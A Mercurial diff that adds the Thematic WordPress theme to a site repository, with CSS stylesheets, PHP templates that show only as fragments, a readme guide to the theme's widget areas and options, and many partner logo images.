background: #fafafa; + outline: 0; + border-bottom-color:#ccc; +} +.sf-menu ul { + border-right:1px solid #ccc; + border-bottom:1px solid #ccc; +} +.sf-menu li:hover ul, +.sf-menu li.sfHover ul { + top:32px; /* overriding essential styles */ +} +.sf-menu ul ul { + margin-top:0; +} +.sf-menu ul a { + background:#fafafa; + border-bottom:none; +} +.sf-menu ul a:hover { + color: #FF4B33; +} + + +/* =Content +-------------------------------------------------------------- */ + +#main { + clear:both; + padding:66px 0 22px 0; +} +.page-title { + font-size:13px; + line-height:18px; + padding:0 0 44px 0; +} +.attachment .page-title { + font-style:italic; +} +.page-title a { + color:#666; + text-decoration:none; +} +.page-title a:active, +.page-title a:hover { + color: #FF4B33; +} +.page-title span { + font-style:italic; +} +.page-title .meta-nav { + font-style:normal; +} +.hentry { + padding:0 0 22px 0; +} +.single .hentry { + padding:0; +} +.home #content .sticky { + border:1px solid #ccc; + margin:0 0 66px 0; + padding:22px 20px 0 20px; +} +.entry-title { + font-family:Arial,sans-serif; + font-size:26px; + font-weight:bold; + line-height:26px; + padding:0 0 7px 0; +} +.entry-title a { + color:#000; + text-decoration:none; +} +.entry-title a:active, +.entry-title a:hover { + color: #FF4B33; +} +.entry-meta { + color:#666; + font-size:13px; + font-style:italic; + line-height:18px; +} +.entry-meta .author { +} +.entry-meta .n { + font-size:11px; + font-style:normal; + letter-spacing:0.05em; + text-transform:uppercase; +} +.entry-meta a { + color:#666; + text-decoration:none; +} +.entry-meta a:active, +.entry-meta a:hover { + color: #FF4B33; +} +.entry-meta abbr { + border:none; + cursor:text; + font-size:11px; + font-style:normal; + letter-spacing:0.05em; + text-transform:uppercase; +} +.entry-content { + padding:22px 0 0 0; +} +.entry-content h1, +.entry-content h2 { + font-family:Arial,sans-serif; + font-size:19px; + font-weight:bold; + padding:28px 0 14px 0; +} +.entry-content h3 { + font-size:17px; + font-style:italic; + padding:28px 0 14px 0; +} +.entry-content h4 { + font-size:11px; + font-family:Arial,sans-serif; + font-weight:bold; + text-transform:uppercase; + letter-spacing:0.05em; +} +.entry-content table { + margin-left:1px; +} +.entry-content embed { + margin:0 0 22px 0; +} +.entry-utility { + color:#666; + font-size:13px; + line-height:18px; + margin:0 0 44px 0; +} +.entry-utility a { + color:#666; + font-style:italic; + text-decoration:none; +} +.entry-utility a:active, +.entry-utility a:hover { + color: #FF4B33; +} +.page-link { + font-size:13px; + font-weight:bold; + line-height:18px; + margin:0 0 22px 0; + padding:22px 0 0 0; + word-spacing:0.5em; +} +.page-link a { + border:1px solid #ccc; + color:#666; + font-weight:normal; + padding:0.5em 0.75em; + text-decoration:none; +} +.page-link a:active, +.page-link a:hover { + color: #FF4B33; +} +ul#links-page, +ul#archives-page { + list-style:none; + margin-left:0; + overflow:hidden; +} +li.content-column { + float:left; + margin-right:20px; + width:45%; +} +.gallery { + padding:0 0 22px 0; +} +.wp-caption-text, +.gallery-caption { + color:#666; + font-size:13px; + line-height:18px; +} +#author-info { + margin:0 0 44px 0; + overflow:hidden; +} +#author-info .avatar { + float:left; + margin:.3em 1em 0 0; +} + + +/* =Attachments +-------------------------------------------------------------- */ + +.attachment-jpeg #container, +.attachment-png #container { + width:100%; +} +.attachment-jpeg #content, +.attachment-png #content { + width:930px; +} +.attachment-jpeg #comments, +.attachment-png #comments { + width:540px; + overflow:hidden; +} +.attachment-jpeg .main-aside, +.attachment-png .main-aside { + display:none; +} + + +/* =Navigation +-------------------------------------------------------------- */ + +.navigation { + color:#666; + font-size:13px; + line-height:18px; + margin:0px 0 22px 0; + overflow:hidden; +} +.navigation a { + color:#666; + font-style:italic; + text-decoration:none; +} +.navigation a:active, +.navigation a:hover { + color: #FF4B33; +} +.navigation .meta-nav { + font-style:normal; +} +.nav-previous { + float: left; + width:50%; +} +.nav-next { + float: right; + width:50%; + text-align:right; +} +#nav-above,#nav-below { + width: 100%; +} +#nav-above { + display:none; +} +.paged #nav-above { + display:block; + padding:0 0 44px 0; +} + + +/* =Comments +-------------------------------------------------------------- */ + +#comments { + padding:22px 0 0 0; +} +#comments, +#comments input, +#comments textarea { + font-size:13px; + line-height:18px; +} +#comments code { + font-size:12px; + line-height:18px; +} +#comments h3 { + font-family:Arial,sans-serif; + font-size:15px; + font-weight:bold; + line-height:22px; + padding:0 0 18px 0; +} +#comments-list { + padding:0 0 18px 0; +} +#comments-list ol, +#comments-list ul { + list-style:none; + margin:0; +} +#comments-list ol { + border:1px solid #ccc; + border-bottom:none; + margin:0 0 18px 0; +} +#comments-list li { + background:#fafafa; + border-bottom:1px solid #ccc; + padding:18px 1.5em 0 1.5em; + position:relative; +} +#comments-list li.alt { + background:#fff; +} +#comments-list li.bypostauthor { + background:#FFFFCC; +} +#comments-list ul li { + border:1px solid #ccc; + margin:0 0 18px 0; +} +#comments-list li .avatar { + position:absolute; + top:22px; + left:1.5em; + width:36px; + height:36px; +} +#comments-list .comment-author { + font-weight:bold; + padding:9px 0 0 46px; +} +#comments-list .comment-meta { + color:#666; + font-size:11px; + padding:0 0 9px 46px; +} +#comments-list .comment-meta a { + color:#666; + font-style:italic; + text-decoration:none; +} +#comments-list .comment-meta a:active, +#comments-list .comment-meta a:hover { + color: #FF4B33; +} +.comment-reply-link { + font-size:11px; + padding:0 0 18px 0; + text-align:right; +} +.comment-reply-link a { + color:#666; + font-style:italic; + text-decoration:none; +} +.comment-reply-link a:active, +.comment-reply-link a:hover { + color: #FF4B33; +} +.comment-navigation { + font-weight:bold; + padding:0 0 18px 0; + margin-right:0.5em; +} +.comment-navigation a { + border:1px solid #ccc; + color:#666; + font-weight:normal; + padding:0.5em 0.75em; + text-decoration:none; +} +.comment-navigation a:active, +.comment-navigation a:hover { + color: #FF4B33; +} +.comment-navigation a, +.comment-navigation span { + margin-right:0.5em; +} +#trackbacks-list .comment-content { + position:absolute; + left:-9000px; +} +#respond { + background:#fff; + margin-bottom:22px; + overflow:hidden; + padding:18px 0 0 0; + position:relative; +} +#comments-list #respond { + border-bottom:1px solid #ccc; + margin:0 0 18px 0; + padding:18px 1.5em; +} +#comments-list ul #respond { + border:1px solid #ccc; + margin:0; +} +#cancel-comment-reply { + font-size:11px; + position:absolute; + top:18px; + right:1.5em; +} +#cancel-comment-reply a { + color:#666; +} +#respond .required { + color:#FF4B33; + font-weight:bold; +} +.form-section label { + font-size:11px; +} +.form-section input { + margin:0 0 18px 0; + width:98%; +} +.form-section textarea { + width:99%; +} +#form-allowed-tags p { + color:#666; + font-size:11px; + margin:0; +} +#form-allowed-tags span { + font-style:italic; +} +#form-allowed-tags code { + font-size:11px; + line-height:normal; +} +.form-submit { + padding:18px 0 0 0; + text-align:right; +} +.subscribe-to-comments { + color:#666; + float:left; + font-size:11px; + margin:0; + padding:18px 0 0 0; +} +.solo-subscribe-to-comments { + color:#666; + font-size:11px; + padding:18px 0 0 0; +} +.comment_license { + color:#666; + clear:both; + font-size:11px; + margin:0; + padding:18px 0 0 0; +} + + +/* =Asides, Sidebars & Widget-Ready Areas +-------------------------------------------------------------- */ + +.aside, +.aside input { + font-size:13px; + line-height:18px; + margin-bottom:6px; +} +.aside p, +.aside ul, +.aside ol, +.aside dd, +.aside pre { + margin-bottom:18px; +} +.aside pre, +.aside code { + font-size:12px; + line-height:18px; +} +.aside .current_page_item a { + color: #FF4B33; +} +.aside .current_page_item .page_item a { + color:#666; +} +.aside .current_page_item .page_item a:hover, +.aside .current_page_item .page_item a:active { + color: #FF4B33; +} +.aside { + color:#666; +} +.aside a { + color:#666; +} +.aside a:active, +.aside a:hover { + color: #FF4B33; +} +.aside h3 { + font-size:15px; + font-style:italic; + line-height:22px; +} +.aside h3 a { + text-decoration:none; +} +.aside caption { + font-size:11px; + font-family:Arial,sans-serif; + font-weight:bold; + text-transform:uppercase; + letter-spacing:0.05em; +} +.aside ul { + list-style:none; + margin-left:0; +} +.aside ul ul { + list-style:disc; + margin:0 0 22px 20px; +} +.aside ul ul li { + padding:1px 0; +} +.aside ul ul ul { + margin-bottom:0; +} +.aside form, +.aside table { + margin-bottom:22px; +} +.aside table { + border:none; +} +.aside thead { + border:1px solid #ccc; +} +.aside tbody { + border:1px solid #ccc; +} +.aside th, .aside td { + border-right:1px solid #ccc; + padding:.25em .8em; +} +.aside tfoot tr { + border:none; +} +.aside tfoot td { + border-color:transparent; +} +.widget_tag_cloud { + margin:0 0 22px 0; +} +.aside #searchsubmit { + display: none; +} +/* + Main Asides +*/ +.main-aside ul { + padding:0 20px; +} +.main-aside h3 { +} +.main-aside ul ul { + padding:0; +} +#primary { + border:1px solid #ccc; + padding:18px 0 0 0; + margin-bottom:22px; +} +/* + Content Asides +*/ +#content .aside { + border:1px solid #ccc; + margin:0 0 22px 0; + padding:18px 0 0 0; +} +#content .aside ul { + padding:0 20px; +} +#content .aside h3 { + font-family:Georgia,serif; + font-weight:normal; + font-size:17px; + font-style:italic; + padding:0 0 7px 0; + text-transform:none; +} +#content .aside ul ul { + padding:0; +} +/* + Footer Asides +*/ +#subsidiary { + padding:33px 0 0 0; +} + + +/* =Footer +-------------------------------------------------------------- */ + +#footer { + border-top:1px solid #ccc; + margin-top:22px; +} +#siteinfo { + color:#666; + font-size:11px; + line-height:18px; + padding:22px 0 44px 0; +} +#siteinfo a { + color:#666; +} +#siteinfo a:active, +#siteinfo a:hover { + color: #FF4B33; +} + + +/* =PageNavi +-------------------------------------------------------------- */ + +/* Using !important to override PageNavi CSS */ + +.wp-pagenavi { + margin:0 0 0 -.5em; + padding:0.5em 0; +} +.wp-pagenavi a, .wp-pagenavi a:link, .wp-pagenavi span { + border:1px solid #ccc !important; + color:#666!important; + font-style:normal; + margin:0 .375em !important; + padding:0.5em 0.25em !important; +} +.wp-pagenavi a:visited { + border:1px solid #ccc !important; + color:#666 !important; +} +.wp-pagenavi a:hover { + border:1px solid #ccc !important; + color:#FF4B33 !important; +} +.wp-pagenavi a:active { + border:1px solid #ccc !important; + color:#FF4B33 !important; +} +.wp-pagenavi span.pages { + border:none !important; + color:#666 !important; + margin:0 !important; + padding:0 !important; +} +.wp-pagenavi span.current { + border:none !important; + color:#666 !important; + font-weight:normal !important; + margin:0 !important; + padding:0 !important; +} +.wp-pagenavi span.extend { + background-color:#FFFFFF; + border:1px solid #000000; + color:#000000; + margin:2px; + padding:2px 4px; +} diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/thematic/library/styles/images.css --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/thematic/library/styles/images.css Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,64 @@ +/* -------------------------------------------------------------- + + Default styles for Images + +-------------------------------------------------------------- */ + +.entry-content img { + margin: 0 0 18px 0; +} +.alignleft, +img.alignleft { + float: left; + margin-right:20px; +} +.alignright, +img.alignright { + display: block; + float: right; + margin-left:20px; +} +.aligncenter, +img.aligncenter { + margin-left:auto; + margin-right:auto; + display: block; + clear: both; +} +.wp-caption { + text-align: center; + margin-bottom:18px; +} +.wp-caption img { + margin: 0; + padding: 0; + border: 0 none; +} +.wp-caption p.wp-caption-text { + margin: 0; + padding:5px; +} +.gallery img { + margin:0; +} +.wp-smiley { /* Prevent the smileys from breaking line-height */ + max-height:12px; + margin:0 !important; +} + +/* + +Adapt the following for use in your Child Themes when using +different font-sizes and line-heights + +.entry-content img, +.wp-caption { + margin-bottom:--px; +} +.wp-smiley { + max-height:--px; +} + +All other styles can be overridden--or ignored!--in Child Theme stylesheets + +*/ \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/thematic/library/styles/plugins.css --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/thematic/library/styles/plugins.css Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,27 @@ +/* -------------------------------------------------------------- + + Default plugin styles for Thematic + +-------------------------------------------------------------- */ + +/* =Ajax Edit Comments +-------------------------------------------------------------- */ + +.edit-comment { + margin-bottom:18px; +} + +/* =PageNavi +-------------------------------------------------------------- */ + +/* I'm not overriding PageNavi anymore, it's too much of a mess. + +/* =WordPress Stats +-------------------------------------------------------------- */ + +img#wpstats { /* hide WordPress Stats smiley */ + width:0px; + height:0px; + overflow:hidden +} + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/thematic/library/styles/reset.css --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/thematic/library/styles/reset.css Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,64 @@ +/* -------------------------------------------------------------- + + Reset default browser CSS. + + Based on work by Eric Meyer: + http://meyerweb.com/eric/tools/css/reset/index.html + +-------------------------------------------------------------- */ + +/* v1.0 | 20080212 */ + +html, body, div, span, applet, object, iframe, +h1, h2, h3, h4, h5, h6, p, blockquote, pre, +a, abbr, acronym, address, big, cite, code, +del, dfn, em, font, img, ins, kbd, q, s, samp, +small, strike, strong, sub, sup, tt, var, +b, u, i, center, +dl, dt, dd, ol, ul, li, +fieldset, form, label, legend, +table, caption, tbody, tfoot, thead, tr, th, td { + margin: 0; + padding: 0; + border: 0; + outline: 0; + font-size: 100%; + vertical-align: baseline; + background: transparent; +} +body { + background:#fff; + line-height: 1; +} +ol, ul { + list-style: none; +} +blockquote, q { + quotes: none; +} +blockquote:before, blockquote:after, +q:before, q:after { + content: ''; + content: none; +} + +/* remember to define focus styles! */ +:focus { + outline: 0; +} + +/* remember to highlight inserts somehow! */ +ins { + text-decoration: none; +} +del { + text-decoration: line-through; +} + +/* tables still need 'cellspacing="0"' in the markup */ +table { + border-collapse: collapse; + border-spacing: 0; +} + +a img { border: none; } diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/thematic/library/styles/typography.css --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/thematic/library/styles/typography.css Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,141 @@ +/* -------------------------------------------------------------- + + Set default typography based on Blueprint + + http://code.google.com/p/blueprintcss/ + +-------------------------------------------------------------- */ + +body, input, textarea { + color:#000; + font: 12px Arial,sans-serif; + line-height:18px; +} + +/* Headings +-------------------------------------------------------------- */ + +h1,h2,h3,h4,h5,h6 { + font-weight:normal; + clear:both; +} + +/* Text elements +-------------------------------------------------------------- */ + +p { + margin-bottom:18px; +} +ul { + margin: 0 0 18px 2.5em; +} +ol { + margin: 0 0 18px 2.5em; +} +ul { + list-style:disc; +} +ol { + list-style-type: decimal; +} +ol ol { + list-style:upper-alpha; +} +ol ol ol { + list-style:lower-roman; +} +ol ol ol ol { + list-style:lower-alpha; +} +ul ul, ol ol, ul ol, ol ul { + margin-bottom:0; +} +dl { + margin:0 1.5em; +} +dt { + font-weight:bold; +} +dd { + margin-bottom:18px; +} +strong { + font-weight: bold; +} +cite, em, i { + font-style: italic; +} +blockquote { + margin: 0 3em; +} +blockquote em, blockquote i, blockquote cite { + font-style:normal; +} +pre { + font:11px Monaco, monospace; + line-height:18px; + margin-bottom:18px; +} +code { + font:11px Monaco, monospace; +} +abbr, acronym { + border-bottom:1px dotted #333; + cursor: help; +} +ins { + text-decoration:none; +} +sup, +sub { + height: 0; + line-height: 1; + vertical-align: baseline; + position: relative; + +} +sup { + bottom: 1ex; +} +sub { + top: .5ex; +} + +/* Pullquotes +-------------------------------------------------------------- */ + +blockquote.left { + float: left; + margin-left:0; + margin-right:20px; + text-align: right; + width: 33%; +} +blockquote.right { + float: right; + margin-left:20px; + margin-right:0; + text-align: left; + width: 33%; +} + +/* + +Adapt the following for use in your Child Themes when using +different font-sizes and line-heights + +body, input, textarea { + font: --px Arial,sans-serif; + line-height:--px; +} +p, ul, ol, dd, pre { + margin-bottom:--px; +} +pre, code { + font:--px Monaco, monospace; + line-height:--px; +} + +All other styles can be overridden--or ignored!--in Child Theme stylesheets + +*/ \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/thematic/links.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/thematic/links.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,81 @@ + + + +
          +
          + + + +
          + + +
          + + + + + + ',''); + + ?> + +
          +
          + + + +
          +
          + + \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/thematic/logo/600px-Logo_BnF_svg.png Binary file web/wp-content/themes/thematic/logo/600px-Logo_BnF_svg.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/thematic/logo/Logo_ina.png Binary file web/wp-content/themes/thematic/logo/Logo_ina.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/thematic/logo/Thumbs.db Binary file web/wp-content/themes/thematic/logo/Thumbs.db has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/thematic/logo/bpi_logo_noir.jpg Binary file web/wp-content/themes/thematic/logo/bpi_logo_noir.jpg has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/thematic/logo/exalead_logo.png Binary file web/wp-content/themes/thematic/logo/exalead_logo.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/thematic/logo/financeur/logo_cap_digital.png Binary file web/wp-content/themes/thematic/logo/financeur/logo_cap_digital.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/thematic/logo/financeur/logo_dgicis.png Binary file web/wp-content/themes/thematic/logo/financeur/logo_dgicis.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/thematic/logo/financeur/logo_idf.png Binary file web/wp-content/themes/thematic/logo/financeur/logo_idf.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/thematic/logo/financeur/logo_imaginove.png Binary file web/wp-content/themes/thematic/logo/financeur/logo_imaginove.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/thematic/logo/financeur/logo_mairie_paris.png Binary file web/wp-content/themes/thematic/logo/financeur/logo_mairie_paris.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/thematic/logo/financeur/logo_val_de_marne.png Binary file web/wp-content/themes/thematic/logo/financeur/logo_val_de_marne.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/thematic/logo/globcast_logo.gif Binary file web/wp-content/themes/thematic/logo/globcast_logo.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/thematic/logo/iri.png Binary file web/wp-content/themes/thematic/logo/iri.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/thematic/logo/logo-cinematheque-francaise.gif Binary file web/wp-content/themes/thematic/logo/logo-cinematheque-francaise.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/thematic/logo/logo.gif Binary file web/wp-content/themes/thematic/logo/logo.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/thematic/logo/logo.png Binary file web/wp-content/themes/thematic/logo/logo.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/thematic/logo/logo_allocine.gif Binary file web/wp-content/themes/thematic/logo/logo_allocine.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/thematic/logo/logo_exalead.jpg Binary file web/wp-content/themes/thematic/logo/logo_exalead.jpg has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/thematic/logo/logo_fdi.png Binary file web/wp-content/themes/thematic/logo/logo_fdi.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/thematic/logo/logo_liris.png Binary file web/wp-content/themes/thematic/logo/logo_liris.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/thematic/logo/logo_list.gif Binary file web/wp-content/themes/thematic/logo/logo_list.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/thematic/logo/logo_netia.gif Binary file web/wp-content/themes/thematic/logo/logo_netia.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/thematic/logo/logo_telecom_paristech.png Binary file web/wp-content/themes/thematic/logo/logo_telecom_paristech.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/thematic/logo/logo_transparent.gif Binary file web/wp-content/themes/thematic/logo/logo_transparent.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/thematic/logo/oniram_logo_06_out.gif Binary file web/wp-content/themes/thematic/logo/oniram_logo_06_out.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/thematic/logo/te_lesitetv.jpg Binary file web/wp-content/themes/thematic/logo/te_lesitetv.jpg has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/thematic/page.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/thematic/page.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,69 @@ + + +
          +
          + + + +
          + + + +
          + + ".__('Pages: ', 'thematic'), "
          \n", 'number'); + + edit_post_link(__('Edit', 'thematic'),'','') ?> + +
          +
          + + + +
          +
  • + + \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/thematic/readme.html --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/thematic/readme.html Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,182 @@ + + + + +A Guide To Thematic + + + + +

    A Guide To Thematic

    +

    Thematic is more than just a WordPress theme, it's also a Theme Framework. Now, that doesn't mean it's hard to use, bloated or overcomplicated. Quite the opposite. It's extremely easy to use, lean and easy to customize. This guide will show you why and how.

    + +

    Widget-Ready Areas

    +

    Thematic has 13 widget-ready areas, called Asides, that can be used creatively to customize your theme.

    +
      +
    • Primary Aside

      +

      Located immediately after the content area in the markup. Typically used as a sidebar. By default it contains Search, Pages, Categories and Archives widgets. Use the widgets panel under Design to add your own widgets and override the default.

    • +
    • Secondary Aside

      +

      Located immediately after the Primary Aside in the markup. Typically used as a sidebar. By default it contains Links, RSS Feeds and Meta widgets. Use the widgets panel under Design to add your own widgets and override the default.

    • +
    • Subsidiary Asides

      +

      Located in the footer. Empty of widgets by default, they will not apear in the theme markup until you add a widget.

    • +
    • Index Asides

      +

      Located in the content area of the index, or blog page. Empty of widgets by default, they will not apear in the theme markup until you add a widget. The location of the Index Insert, which appears between posts, is controlled from the theme options page. The default position sets it to appear after the second post.

    • +
    • Single Asides

      +

      Located in the content area of single post pages. Empty of widgets by default, they will not apear in the theme markup until you add a widget.

    • +
    • Page Asides

      +

      Located in the content area of static pages. Empty of widgets by default, they will not apear in the theme markup until you add a widget.

    • +
    + +

    Theme Options

    +

    Thematic currently has three options that can be set from the Theme Options panel under Design: Index Insert Position, Info on Author Page and Text in Footer.

    +

    The Index Insert Position setting controls the position of a widget-ready area on the index, or blog page. You can enter the number of posts you would like to appear before this widget-ready area. The default number is 2.

    +

    Activating the Info on Author Page will display a microformatted vCard—with the author's avatar, bio and email—on the author page. It's turned off by default. If you want to use this option, make sure you fill out the biographical info in your WordPress profiles.

    +

    The Text in Footer option lets you insert your own HTML text into the footer of the theme. The default setting links to WordPress and the Thematic project page.

    + +

    Dynamic Contextual Body Classes

    +

    Thematic makes use of the dynamic contextual class functions developed by Scott Wallick and Andy Skelton for The Sandbox. These functions make Thematic almost endlessley customizable through CSS alone.

    +

    To really see how these classes work, where they appear and how you can use them, I recommend the Firefox extension, Firebug.

    + +

    Thematic Child Themes

    +

    Thematic has been specially optimized to take advantage of the power of WordPress Child Themes. Unless you plan on making extreme modifications I recommend you use a Child Theme to customize Thematic.

    +

    I've compiled a few Thematic Child Themes here that can help you get started.

    +
    +

    Free Child Themes

    + +
    +
    +

    Commercial Child Themes

    + +
    + +

    Theme Support

    +

    If you have a question, problem or concern with Thematic you can contact Ian Stewart. Better yet, I recommend posting to the ThemeShaper Forums after looking there for an answer.

    + +

    The latest Thematic version, updates and bug fixes are always available at the Thematic Project on Google Code.

    + +

    Credit and Inspiration

    +

    Thematic is a fork of the hugely succesful and amazing Sandbox theme for WordPress and inherits the bulk of that code base. I owe a huge debt of gratitude to Scott Wallick and Andy Skelton, not only for their work on The Sandbox but for their ongoing help with, and support of, my efforts. Thank you, Scott and Andy.

    +

    In addition, Thematic has been inspired by and uses techinques from the following people and projects.

    + + +

    Copyright & License

    +

    Thematic is copyright Ian Stewart and released, like WordPress, under GNU General Public License, version 2 (GPL). +

    Thematic has a credit link in the footer template. You may remove or edit this link without cost or concern—although it sure is appreciated if you link back to ThemeShaper, or the Thematic project, in some way.

    + +

    Thank you.

    + + + \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/thematic/screenshot.png Binary file web/wp-content/themes/thematic/screenshot.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/thematic/search.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/thematic/search.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,73 @@ + + +
    +
    + + + +
    +

    +
    +

    +
    +
    +
    + + +
    +
    +
    + + + +
    +
    + + \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/thematic/searchform.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/thematic/searchform.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,6 @@ + \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/thematic/sidebar-index-bottom.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/thematic/sidebar-index-bottom.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,12 @@ + \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/thematic/sidebar-index-insert.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/thematic/sidebar-index-insert.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,12 @@ + \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/thematic/sidebar-index-top.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/thematic/sidebar-index-top.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,12 @@ + \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/thematic/sidebar-page-bottom.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/thematic/sidebar-page-bottom.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,12 @@ + \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/thematic/sidebar-page-top.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/thematic/sidebar-page-top.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,12 @@ + \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/thematic/sidebar-single-bottom.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/thematic/sidebar-single-bottom.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,12 @@ + \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/thematic/sidebar-single-insert.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/thematic/sidebar-single-insert.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,12 @@ + \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/thematic/sidebar-single-top.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/thematic/sidebar-single-top.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,12 @@ + \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/thematic/sidebar-subsidiary.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/thematic/sidebar-subsidiary.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,12 @@ + \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/thematic/sidebar.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/thematic/sidebar.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,18 @@ + \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/thematic/single.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/thematic/single.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,55 @@ + + +
    +
    + + + +
    +
